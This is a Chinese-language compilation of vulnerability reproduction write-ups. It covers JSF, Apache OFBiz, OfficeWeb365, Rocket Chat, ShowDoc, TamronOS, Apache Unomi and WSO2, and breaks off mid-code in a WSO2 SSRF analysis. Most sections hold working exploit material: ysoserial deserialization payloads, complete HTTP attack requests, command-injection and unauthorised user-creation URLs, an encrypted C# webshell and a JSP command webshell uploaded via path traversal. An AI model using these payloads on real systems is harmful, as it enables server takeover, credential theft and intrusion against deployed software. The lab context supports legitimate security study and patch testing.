执行如下命令启动一个使用了JDK7u21和mojarra 2.1.28的JSF应用:
docker compose up -d
环境启动后,访问http://your-ip:8080
即可查看到demo页面。
漏洞复现
JSF的ViewState结构如下:
根据这个结构,我们使用ysoserial的Jdk7u21利用链来生成一段合法的Payload:
$ java -jar ysoserial-master-SNAPSHOT.jar Jdk7u21 "touch /tmp/success" | gzip | base64 -w 0
H4sIAAVGF18AA61WzW8bRRR/Yye2Y9zmo/lsaZvQlnxAd/PlJsURbT5Ia3BIhNNUwocwXk/sbde7293ZZINEb/wBCJX/AJBoOPRCqx6QKm4tFyQkUFEluHADDhUSFz7e7G5iKwnYLV1pd2bf17z35jdv3tYv0Ghb0HWFrlPJ4aomZVT9KitcpHYpy/j32ndv33g0dCwE4FrQWpEK+Hfn3r/x0Z3b42HkmxsJAGg5dx7EE0KrryhGWbIdXTKsokRNqpSY5FKN6pKqc2bpVJNcW+OKxC3qSsusbGqUMzuNY9PlxXv61s2xMETScGBV1QtM52865Tyz0nBwFRV0W2M8jXQ3B/HV/CZnilFgNodwLjeTg8iqolEbf9tyGeG2jMsW5VlBS2WgcVWnZYbMKl6WW6peRGbrquFw0+FLlmEyi6vCaKcvKGKXK/SUa4pY/8bHsbyF3/izp6NY/GFCJEzwQkgP5Wa2Hnf9EYkt/xiQI5/d/+vul8gehbNxCMMLUZiIwqkovEigxWaWSrUVZtmqoV9KzxEgrxM4MGvoNqc6X6Gawxo/7/3w8QePfnuVQGRK1VWOk/DA4AqBhlnMAoFm3Ebm52uZ5jWktGUMBc1SNI7/AbGBl1SbwKEsd/LLQU6X6KZm0AKBRFrXmeWljKFQMrNpG75zsunL2H5CLtBCkXH75D5WUgSavM1aM6wyAWsgg5iQERMyYkL2MSF7mJC3MSF7mJDnFhdSuX2ly1pF1vdHfZdZcjaYUo55u0j1gsaslEhJrGAoThnxQ+D0Ey2PqiXfDoY/8/+dIRB/zVWYKWh2FPoJfPJk+ajpQYGX5bnlhWlXtdNIotywaivVlUM1MCdw8DReEIgGuSQw/SwymTUcS2HzqoBxIkCgJA5pAuLwXBQGCIw9BWAJnK93RyxH52qZydN5GyGu8G1LBNq9YqEaFee903a2XsvblnbQQuB4jVhwi6YULSgFrZWq9pbvZBSGMGcoGPwT6BgYzOwRSyXgZTgdh5dAworBDUcp9cq8bKLXisJsOwbDWDSYyxQC/QN7i2e1SSyTQgVNjsKYMDmOVSzLqXJ1gZpB/amKamkDi83oxPBIMpmcnBgZGR8Zm0CNvkwNkRT0QQhrKPqF72FohAiOUVF7IebREA74FZeTjCPBsXHoNpBbnsgB/EY8ogwH8ZvwBaAZJnHE0gjtKCWUz+EbFrTdiuOeYq/PDBTFrAM6PT6BLuhGjR6c+z4Ks0cCs2mPuo/ZSc/skM/c1+zzcBQ1xOwYHMflKwvEYHAn6JPIEVLNn0KYZO6A3DbyBSQv3/IUz3hBESHR663fB604xpEVghPQAk3ONbiOtoB8u3NnHRF3VkcUuqLQHYWeeu+saz+rv06VL3Q/mzsrPG8Ye+6oUzXvKNSqp3ocJnCiDlMYegXwi/krTPn301/rBP8njkn9OJ7aheM2j3/I+7ZX7W6n2F2TQwMeK8vcIODa73mYOCr8dyUsyNLO1V3pztztblHELFlsTcOgJTzs7uZP/Q97v26ZfRACkgFS4rgdlewEknJaX8dNrS7mrom94qjoE7etUV03uCcjTe9M9yheuv97c8eD6x+HIJSBRJkJ4HhIw36tuapfw3KDXV0D3zSx42vd0w16y+9qbVGlMfrw3led73yDR2Me4mK75rHGG9h+NvGSxeySoRVcM+h2Exsx0fuK9HGIrSVpkp4ZnhQnJ+auWzUyCpXHNd1/AEKwhdeSCwAA
然后,我们提交表单并抓包,修改其中javax.faces.ViewState
字段的值为上述Payload(别忘了URL编码):
touch /tmp/success
已成功执行:
ofbiz
CVE-2020-9496
Apache OfBiz 反序列化命令执行漏洞(CVE-2020-9496)
Apache OFBiz是一个非常著名的电子商务平台,是一个非常著名的开源项目,提供了创建基于最新J2EE/XML规范和技术标准,构建大中型企业级、跨平台、跨数据库、跨应用服务器的多层、分布式电子商务类WEB应用系统的框架。 OFBiz最主要的特点是OFBiz提供了一整套的开发基于Java的web应用程序的组件和工具。包括实体引擎, 服务引擎, 消息引擎, 工作流引擎, 规则引擎等。
其17.12.04版本之前的XMLRPC接口存在一处反序列化漏洞,攻击者利用这个漏洞可以在目标服务器上执行任意命令。
参考链接:
- https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbiz
- https://github.com/dwisiswant0/CVE-2020-9496
- https://www.cnblogs.com/ph4nt0mer/p/13576739.html
漏洞环境
执行如下命令启动一个Apache OfBiz 17.12.01版本:
docker compose up -d
在等待数分钟后,访问https://localhost:8443/accounting
查看到登录页面,说明环境已启动成功。
漏洞复现
由于默认情况下没有报错信息,所以使用参考连接2中给出的方法无法正确判断漏洞是否存在,还是需要通过执行反序列化来复现漏洞。
使用ysoserial的CommonsBeanutils1来生成Payload:
java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/success" | base64 | tr -d "\n"
将base64后的payload替换并发送如下数据包:
POST /webtools/control/xmlrpc HTTP/1.1
Host: your-ip
Content-Type: application/xml
Content-Length: 4093
<?xml version="1.0"?>
<methodCall>
<methodName>ProjectDiscovery</methodName>
<params>
<param>
<value>
<struct>
<member>
<name>test</name>
<value>
<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[base64-payload]</serializable>
</value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
进入容器中,可见touch /tmp/success
已成功执行:
CVE-2023-49070
Apache OfBiz 反序列化命令执行漏洞(CVE-2023-49070)
Apache OFBiz是一个非常著名的电子商务平台,是一个非常著名的开源项目,提供了创建基于最新J2EE/XML规范和技术标准,构建大中型企业级、跨平台、跨数据库、跨应用服务器的多层、分布式电子商务类WEB应用系统的框架。 OFBiz最主要的特点是OFBiz提供了一整套的开发基于Java的web应用程序的组件和工具。包括实体引擎, 服务引擎, 消息引擎, 工作流引擎, 规则引擎等。
在Apache OFBiz 17.12.03版本及以前存在一处XMLRPC导致的反序列漏洞,官方于后续的版本中对相关接口进行加固修复漏洞,但修复方法存在绕过问题(CVE-2023-49070),攻击者仍然可以利用反序列化漏洞在目标服务器中执行任意命令。
Apache OFBiz官方于18.12.10中彻底删除xmlrpc接口修复该漏洞。
参考链接:
漏洞环境
执行如下命令启动一个Apache OfBiz 18.12.09服务器:
docker compose up -d
在等待数分钟后,访问https://localhost:8443/accounting
查看到登录页面,说明环境已启动成功。
漏洞复现
漏洞复现方式与CVE-2020-9496相似,只是需要绕过官方对于漏洞的补丁限制。
首先,仍然使用ysoserial的CommonsBeanutils1来生成Payload:
java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/success" | base64 | tr -d "\n"
使用CVE-2020-9496中的复现方法发送数据包,可见已经无法成功进入XMLRPC的解析流程:
把Path修改成/webtools/control/xmlrpc;/?USERNAME=&PASSWORD=&requirePasswordChange=Y
即可绕过限制:
POST /webtools/control/xmlrpc;/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: your-ip
Content-Type: application/xml
Content-Length: 4093
<?xml version="1.0"?>
<methodCall>
<methodName>ProjectDiscovery</methodName>
<params>
<param>
<value>
<struct>
<member>
<name>test</name>
<value>
<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[base64-payload]</serializable>
</value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
进入容器中,可见touch /tmp/success
已成功执行:
CVE-2023-51467
Apache OFBiz 鉴权绕过导致命令执行(CVE-2023-51467)
Apache OFBiz是一个非常著名的电子商务平台,是一个非常著名的开源项目,提供了创建基于最新J2EE/XML规范和技术标准,构建大中型企业级、跨平台、跨数据库、跨应用服务器的多层、分布式电子商务类WEB应用系统的框架。 OFBiz最主要的特点是OFBiz提供了一整套的开发基于Java的web应用程序的组件和工具。包括实体引擎, 服务引擎, 消息引擎, 工作流引擎, 规则引擎等。
这个漏洞的原因是对于CVE-2023-49070的不完全修复。在Apache OFBiz 18.12.10版本中,官方移除了可能导致RCE漏洞的XMLRPC组件,但没有修复权限绕过问题。来自长亭科技的安全研究员利用这一点找到了另一个可以导致RCE的方法:Groovy表达式注入。
参考连接:
- https://github.com/apache/ofbiz-framework/commit/d8b097f6717a4004acf023dfe929e0e41ad63faa
- https://xz.aliyun.com/t/13211
- https://y4tacker.github.io/2023/12/27/year/2023/12/Apache-OFBiz%E6%9C%AA%E6%8E%88%E6%9D%83%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%B5%85%E6%9E%90-CVE-2023-51467/
漏洞环境
执行如下命令启动一个Apache OfBiz 18.12.10服务器:
docker compose up -d
在等待数分钟后,访问https://localhost:8443/accounting
查看到登录页面,说明环境已启动成功。
漏洞复现
直接发送如下请求即可使用Groovy脚本执行id
命令:
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
groovyProgram=throw+new+Exception('id'.execute().text);
OfficeWeb365
OfficeWeb365 SaveDraw 任意文件上传漏洞
漏洞描述
OfficeWeb365 SaveDraw 接口存在任意文件上传漏洞,攻击者通过漏洞可以在服务器中上传任意文件获取服务器权限
漏洞影响
网络测绘
漏洞复现
产品页面
验证POC
POST /PW/SaveDraw?path=../../Content/img&idx=6.ashx HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.434.18 Safari/537.36
Content-Length: 990
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Connection: close
data:image/png;base64,01s34567890123456789y12345678901234567m91<%@ WebHandler Language="C#" Class="Handler" %>using System;using System.I0;using System.Reflection;using System.Text;using System.Web;using System.WebSessionState;using&System.Security.Cryptography;public class Handler : IHttpHandler,IRequiresSessionState{public void=&ProcessRequest(HttpContext context){try{string key="900bc885d7553375";byteDk=&Encoding.Default.GetBytes(key);context.Session.AddC"sky", key);StreamReader sr=new&StreamReader(contextRequest.InputStream);string line=sr.ReadLine;if(!string.IsNullOrEmpty(line)){byteDc=&Convert.FromBase64String(line);Assembly assembly=&typeof(Environment).Assembly;RijndaelManaged rm=(RijndaelManaged)&assembly.CreateInstance("System.Secur"+"ityCrypto"+"graphy.Rijnda"+"elm anaged");byte[ data=rm.CreateDecryptorCk,k)TransformFinalBlock(c,0, c.Length);Assembly.Load(data)CreateInstance("U").Equals(context);sr.clo se();}}catch {}}public bool IsReusable{get{return false;}}}}---
上传地址
/Content/img/UserDraw/drawPW6.ashx
rocketchat
CVE-2021-22911
Rocket Chat MongoDB 注入漏洞
Rocket Chat是一款基于Node.js、MongoDB的开源团队聊天工具。在其3.12.1~3.13.2版本中,存在一处MongoDB注入漏洞,利用这个漏洞,攻击者可以获取用户敏感信息,甚至在服务器上执行任意命令。
这个漏洞有两种攻击方式:
- 未授权攻击者可以利用这个漏洞,获取任意普通用户的Password Reset Token,并通过这个Token修改其密码
- 普通用户可以利用这个漏洞,获取任意用户的任意信息
参考链接:
- https://blog.sonarsource.com/nosql-injections-in-rocket-chat
- https://www.exploit-db.com/exploits/50108
- https://github.com/CsEnox/CVE-2021-22911
- https://paper.seebug.org/1652/
环境搭建
执行如下命令启动一个Rocket Chat 3.12.1:
docker compose up -d
环境启动后,访问http://your-ip:3000
即可查看到Rocket Chat的安装向导,跟随向导进行安装即可。
安装完成后,为了验证第一个攻击方法,我们需要在后台增加一个普通用户,用户名为vulhub
,邮箱为vulhub@vulhub.org
。
漏洞复现
我们只来复现第一种利用方式。复现这个漏洞需要三步:
- 通过邮箱找回密码,后台会在数据库中会生成Password Reset Token
- 利用MongoDB注入,获取这个Password Reset Token
- 使用Password Reset Token来更改这个用户的密码
其中,我们使用$regex
语句进行MongoDB注入,当$regex: ^7
时,不匹配,返回一个错误信息:
当$regex: ^8
时能够匹配,返回正确信息:
将注入的过程通过CVE-2021-22911.py这个小脚本进行实现,自动化获取Password Reset Token:
使用Password Reset Token修改用户密码成功:
showdoc
3.2.5-sqli
ShowDoc 3.2.5 SQL注入漏洞
ShowDoc 是一个开源的在线共享文档工具。
ShowDoc <= 3.2.5 存在一处未授权SQL注入漏洞,攻击者可以利用该漏洞窃取保存在SQLite数据库中的用户密码和Token。
参考链接:
漏洞环境
执行如下命令启动一个ShowDoc 2.8.2服务器:
docker compose up -d
服务启动后,访问http://your-ip:8080
即可查看到ShowDoc的主页。初始化成功后,使用帐号showdoc
和密码123456
登录用户界面。
漏洞复现
一旦一个用户登录进ShowDoc,其用户token将会被保存在SQLite数据库中。相比于获取hash后的用户密码,用户token是一个更好地选择。
在利用该漏洞前,需要安装验证码识别库,因为该漏洞需要每次请求前传入验证验:
pip install onnxruntime ddddocr requests
然后,执行这个POC来获取token:
python3 poc.py -u http://localhost:8080
测试一下这个token是否是合法的:
CNVD-2020-26585
ShowDoc 前台任意文件上传(CNVD-2020-26585)
Showdoc 是一个开源的在线共享文档工具。
Showdoc <= 2.8.6 存在uploadImg 文件上传漏洞,该漏洞源于未正确使用upload方法至文件后缀限制失效,攻击者可在未授权的情况下上传任意文件,进而获取服务器权限等。
参考链接:
- https://github.com/star7th/showdoc/pull/1059
- https://github.com/star7th/showdoc/commit/fb77dd4db88dc23f5e570fc95919ee882aca520a
- https://github.com/star7th/showdoc/commit/e1cd02a3f98bb227c0599e7fa6b803ab1097597f
漏洞影响
网络测绘
漏洞环境
执行如下命令启动一个ShowDoc 2.8.2服务器:
docker compose up -d
服务启动后,访问http://your-ip:8080
即可查看到ShowDoc的主页。
漏洞复现
发送如下请求上传一个PHP文件:
POST /index.php?s=/home/page/uploadImg HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary0RdOKBR8AmAxfRyl
Content-Length: 213
------WebKitFormBoundary0RdOKBR8AmAxfRyl
Content-Disposition: form-data; name="editormd-image-file"; filename="test.<>php"
Content-Type: text/plain
<?=phpinfo();?>
------WebKitFormBoundary0RdOKBR8AmAxfRyl--
PHP文件路径将返回在数据包中:
访问即可查看到phpinfo()
执行结果:
CVE-2021-36440
ShowDoc AdminUpdateController.class.php 任意文件上传漏洞
漏洞描述
ShowDoc AdminUpdateController.class.php 文件中的更新部分代码没有鉴权且存在任意文件上传漏洞
漏洞影响
网络测绘
漏洞复现
登录页面
文件路径server/Application/Api/Controller/AdminUpdateController.class.php
public function download(){
set_time_limit(1000);
ini_set('memory_limit','500M');
$new_version = I("new_version") ;
$file_url = I("file_url") ;
$version_num = str_replace("v","",$new_version) ;
$showdoc_path = "../" ;
// 进行文件读写权限检查
if(!$this->new_is_writeable($showdoc_path)
|| !$this->new_is_writeable($showdoc_path."Sqlite/" )
|| !$this->new_is_writeable($showdoc_path."web/" )
|| !$this->new_is_writeable($showdoc_path."web/index.php" )
|| !$this->new_is_writeable($showdoc_path."server/" )
|| !$this->new_is_writeable($showdoc_path."server/vendor/autoload.php" )
|| !$this->new_is_writeable($showdoc_path."server/Application/Api" )
){
$this->sendError(10101,'请手动给showdoc安装目录下的所有文件可写权限,否则程序无法覆盖旧文件');
return ;
}
$temp_dir = sys_get_temp_dir()."/showdoc_update/";
$zip_file = $temp_dir.'showdoc-'.$version_num.'.zip' ;
mkdir($temp_dir) ;
unlink($zip_file);
$file = file_get_contents($file_url);
file_put_contents($zip_file,$file);
$zip = new \ZipArchive();
$flag = $zip->open($zip_file);
if($flag!==true){
$this->sendError(10101,'下载更新压缩包失败');
return ;
}
$zip->extractTo($temp_dir);
$flag = $zip->close();
$zip_file_subpath = $temp_dir.'showdoc-'.$version_num."/" ;
if(file_exists($zip_file_subpath.'composer.json') && file_exists($zip_file_subpath.'web/index.php') && file_exists($zip_file_subpath.'server/vendor/autoload.php') ){
//echo $zip_file_subpath.'存在';
// 移动目录到upload/update
$this->copydir($zip_file_subpath ,$showdoc_path.'Public/Uploads/update/' );
$this->deldir($temp_dir);
$this->sendResult(array());
}else{
$this->sendError(10101,'下载更新压缩包后,解压的文件缺失');
return ;
}
}
这里可以看到 $file_url 参数可控,可在任意URl下载 zip文件,向后看看ZIP要求为需要存在部分文件
if(file_exists($zip_file_subpath.'composer.json') && file_exists($zip_file_subpath.'web/index.php') && file_exists($zip_file_subpath.'server/vendor/autoload.php') ){
制作ZIP包, index.php 为恶意文件
发送请求包
POST /server/index.php?s=/api/adminUpdate/download
file_url=http://xxx.xxx.xxx:8888/showdoc-2.zip&new_version=2
访问上传的文件页面 `Public/Uploads/update/web/index.php
TamronOS
TamronOS IPTV系统 ping 任意命令执行漏洞
漏洞描述
TamronOS IPTV系统 api/ping 存在任意命令执行漏洞,攻击者通过漏洞可以执行任意命令
漏洞影响
网络测绘
漏洞复现
登录页面如下
漏洞POC为
/api/ping?count=5&host=;id;
TamronOS IPTV系统 submit 任意用户创建漏洞
漏洞描述
TamronOS IPTV系统 /api/manager/submit 存在任意用户创建漏洞,攻击者通过漏洞可以任意用户创建进入后台
漏洞影响
网络测绘
漏洞复现
登录页面如下
漏洞POC为
/api/manager/submit?group=1&username=test&password=123456
user: test
pass: 123456
unomi
CVE-2020-13942
Apache Unomi 远程表达式代码执行漏洞(CVE-2020-13942)
Apache Unomi 是一个基于标准的客户数据平台(CDP,Customer Data Platform),用于管理在线客户和访客等信息,以提供符合访客隐私规则的个性化体验。在Apache Unomi 1.5.1级以前版本中,存在一处表达式注入漏洞,远程攻击者通过MVEL和OGNL表达式即可在目标服务器上执行任意命令。
参考链接:
- https://www.checkmarx.com/blog/apache-unomi-cve-2020-13942-rce-vulnerabilities-discovered/
- https://github.com/eugenebmx/CVE-2020-13942
环境搭建
运行如下命令启动一个Apache Unomi 1.5.1的服务器:
docker compose up -d
环境启动后,通过http://your-ip:8181
或https://your-ip:9443
即可访问到Unomi的API。
漏洞复现
通过8181和9443两个端口均可触发漏洞,以下以8181为例。
通过MVEL表达式执行任意命令:
POST /context.json HTTP/1.1
Host: localhost:8181
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 483
{
"filters": [
{
"id": "sample",
"filters": [
{
"condition": {
"parameterValues": {
"": "script::Runtime r = Runtime.getRuntime(); r.exec(\"touch /tmp/mvel\");"
},
"type": "profilePropertyCondition"
}
}
]
}
],
"sessionId": "sample"
}
通过OGNL表达式执行任意命令:
POST /context.json HTTP/1.1
Host: localhost:8181
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 1064
{
"personalizations":[
{
"id":"gender-test",
"strategy":"matching-first",
"strategyOptions":{
"fallback":"var2"
},
"contents":[
{
"filters":[
{
"condition":{
"parameterValues":{
"propertyName":"(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\"touch /tmp/ognl\"))",
"comparisonOperator":"equals",
"propertyValue":"male"
},
"type":"profilePropertyCondition"
}
}
]
}
]
}
],
"sessionId":"sample"
}
进入容器,可见命令已执行成功:
WSO2
WSO2 fileupload 任意文件上传漏洞 CVE-2022-29464
漏洞描述
CVE-2022-29464 是 Orange Tsai发现的 WSO2 上的严重漏洞。该漏洞是一种未经身份验证的无限制任意文件上传,允许未经身份验证的攻击者通过上传恶意 JSP 文件在 WSO2 服务器上获得 RCE。
漏洞影响
环境搭建
https://github.com/wso2/product-apim/releases/download/v4.0.0/wso2am-4.0.0.zip
https://github.com/wso2/product-apim/archive/refs/tags/v4.0.0.zip
漏洞复现
下载 releases 后进入 bin目录, 执行 api.manager.sh文件,并开启 debug 方便远程调试
打开 product-apim-4.0.0 ,下载依赖,连接Debug进行调试分析
运行后访问 localhost:9443 出现如下即搭建完成
在配置文件 identity.xml 中我们可以看到 路由 /fileupload
中不存在权限鉴定, 对应的 Servlet 为 FileUploadServlet
文件上传为POST请求,对应的处理方法为 doPost (org.wso2.carbon.ui.transports.FileUploadServlet#doPost)
protected void doPost(HttpServletRequest request,
HttpServletResponse response) throws ServletException, IOException {
try {
fileUploadExecutorManager.execute(request, response);
} catch (Exception e) {
String msg = "File upload failed ";
log.error(msg, e);
throw new ServletException(e);
}
}
继续向下,略过调用方法的过程
execute:55, ToolsAnyFileUploadExecutor (org.wso2.carbon.ui.transports.fileupload)
executeGeneric:104, AbstractFileUploadExecutor (org.wso2.carbon.ui.transports.fileupload)
execute:436, FileUploadExecutorManager$CarbonXmlFileUploadExecHandler (org.wso2.carbon.ui.transports.fileupload)
startExec:320, FileUploadExecutorManager$FileUploadExecutionHandlerManager (org.wso2.carbon.ui.transports.fileupload)
execute:127, FileUploadExecutorManager (org.wso2.carbon.ui.transports.fileupload)
最后来到出现漏洞的位置 org.wso2.carbon.ui.transports.fileupload.ToolsAnyFileUploadExecutor#execute
这里我们构造请求包,上传文件
POST /fileupload/toolsAny HTTP/1.1
Host: localhost:9443
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 729
Content-Type: multipart/form-data; boundary=4ef9f369a86bfaadf5ec3177278d49c0
User-Agent: python-requests/2.22.0
--4ef9f369a86bfaadf5ec3177278d49c0
Content-Disposition: form-data; name="1.jsp"; filename="1.jsp"
<FORM>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>
--4ef9f369a86bfaadf5ec3177278d49c0--
上传时文件名为 1.jsp,成功上传目标会返回 uuid 值, 调试过程中我们可以发现文件被上传在某个目录下
public class ToolsAnyFileUploadExecutor extends AbstractFileUploadExecutor {
@Override
public boolean execute(HttpServletRequest request,
HttpServletResponse response) throws CarbonException, IOException {
PrintWriter out = response.getWriter();
try {
Map fileResourceMap =
(Map) configurationContext
.getProperty(ServerConstants.FILE_RESOURCE_MAP);
if (fileResourceMap == null) {
fileResourceMap = new TreeBidiMap();
configurationContext.setProperty(ServerConstants.FILE_RESOURCE_MAP,
fileResourceMap);
}
List<FileItemData> fileItems = getAllFileItems();
//String filePaths = "";
for (FileItemData fileItem : fileItems) {
String uuid = String.valueOf(
System.currentTimeMillis() + Math.random());
String serviceUploadDir =
configurationContext
.getProperty(ServerConstants.WORK_DIR) +
File.separator +
"extra" + File
.separator +
uuid + File.separator;
File dir = new File(serviceUploadDir);
if (!dir.exists()) {
dir.mkdirs();
}
File uploadedFile = new File(dir, fileItem.getFileItem().getFieldName());
try (FileOutputStream fileOutStream = new FileOutputStream(uploadedFile)) {
fileItem.getDataHandler().writeTo(fileOutStream);
fileOutStream.flush();
}
response.setContentType("text/plain; charset=utf-8");
//filePaths = filePaths + uploadedFile.getAbsolutePath() + ",";
fileResourceMap.put(uuid, uploadedFile.getAbsolutePath());
out.write(uuid);
}
//filePaths = filePaths.substring(0, filePaths.length() - 1);
//out.write(filePaths);
out.flush();
} catch (Exception e) {
log.error("File upload FAILED", e);
out.write("<script type=\"text/javascript\">" +
"top.wso2.wsf.Util.alertWarning('File upload FAILED. File may be non-existent or invalid.');" +
"</script>");
} finally {
out.close();
}
return true;
}
}
但文件名是我们可控的,拼接的过程中我们通过控制文件名遍历目录,将文件上传到我们需要的位置, 查找可以解析 jsp文件的目录
构造请求包,通过控制文件名的方法上传至该目录中
POST /fileupload/toolsAny HTTP/1.1
Host: localhost:9443
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 729
Content-Type: multipart/form-data; boundary=4ef9f369a86bfaadf5ec3177278d49c0
User-Agent: python-requests/2.22.0
--4ef9f369a86bfaadf5ec3177278d49c0
Content-Disposition: form-data; name="../../../../repository/deployment/server/webapps/authenticationendpoint/1.jsp"; filename="../../../../repository/deployment/server/webapps/authenticationendpoint/1.jsp"
<FORM>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>
--4ef9f369a86bfaadf5ec3177278d49c0--
访问上传的文件,/authenticationendpoint/xxx.jsp?cmd=ls
WSO2 proxy SSRF漏洞 WSO2-2019-0598
漏洞描述
滥用 shindig Web 应用程序的 UI 小工具加载功能可以利用此漏洞。攻击者可以更改请求中的特定 URL,从而导致服务器向更改后的 URL 发起 GET 请求。通过利用此漏洞,攻击者可以使用服务器执行任意外部服务交互。这可以特别用于与内部网络的节点进行交互,否则这些节点会被网络规则隐藏在外部。攻击者可以利用它来追踪和侦察网络,除此之外,如果有内部端点对 GET 请求进行状态更改操作,那么就有可能很好地破坏它们的完整性。根据端点实施的保护级别,此漏洞的影响可能会有所不同。
漏洞影响
环境搭建
https://github.com/wso2/product-is/releases/download/v5.6.0-rc3/wso2is-5.6.0-rc3.zip
漏洞复现
根据官方描述,漏洞造成的原因主要是 shindig Web 应用程序的 UI 小工具的加载功能, WSO2-2019-0598
下载源码启动环境,在IDEA中调试,
根据官方描述,在全局搜索 shindig 相关代码
打下断点,看一下访问 /shindig/gadgets/js
路径时代码的调用流程
可以看到当访问此路径时,调用了对应的 Servlet 下的 doGet方法 来处理(org.apache.shindig.gadgets.servlet.JsServlet.doGet(JsServlet.java:86)
我们可以在文件 conf/shindig/web.xml 找到对应的调用方法
看到这我们注意到 org.apache.shindig.gadgets.servlet.MakeRequestServlet
似乎与 Jira未授权SSRF漏洞(CVE-2019-8451) 中存在的漏洞点十分的相似
但断点调试过程中,却发现这个点是利用失败的
只好去看一下其他的Servele , 最后我们注意到 ProxyServlet
发送请求包,打断点看一下处理流程
GET /shindig/gadgets/proxy?container=default&url=https://www.baidu.com HTTP/1.1
Host: localhost:9443
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Content-Length: 0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="100", "Google Chrome";v="100"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
通过 org.apache.shindig.gadgets.servlet.ProxyServlet
下的 doGet方法接收参数, 传入 processRequest
中
private void processRequest(HttpServletRequest request, HttpServletResponse servletResponse) throws IOException {
if (request.getHeader("If-Modified-Since") != null) {
servletResponse.setStatus(304);
} else {
Uri reqUri = (new UriBuilder(request)).toUri();
HttpResponse response;
try {
ProxyUri proxyUri = this.proxyUriManager.process(reqUri);
SecurityToken st = AuthInfoUtil.getSecurityTokenFromRequest(request);
proxyUri.setSecurityToken(st);
proxyUri.setUserAgent(request.getHeader("User-Agent"));
if (proxyUri.getGadget() == null && st != null && !st.isAnonymous()) {
proxyUri.setGadget(st.getAppUrl());
}
AuthType authType = proxyUri.getAuthType();
if (AuthType.OAUTH.equals(authType)) {
proxyUri.setOAuthArguments(new OAuthArguments(AuthType.OAUTH, request));
} else if (AuthType.OAUTH2.equals(authType)) {
proxyUri.setOAuth2Arguments(new OAuth2Arguments(request));
}
String host = request.getHeader("Host");
if (!this.lockedDomainService.isSafeForOpenProxy(host)) {
Uri resourceUri = proxyUri.getResource();
String msg = "Embed request for url " + (resourceUri != null ? resourceUri.toString() : "n/a") + " made to wrong domain " + host;
if (LOG.isLoggable(Level.INFO)) {
LOG.logp(Level.INFO, classname, "processRequest", "embededImgWrongDomain", new Object[]{resourceUri != null ? resourceUri.toString() : "n/a", host});
}
throw new GadgetException(Code.INVALID_PARAMETER, msg, 400);
}
if ("POST".equalsIgnoreCase(request.getMethod())) {
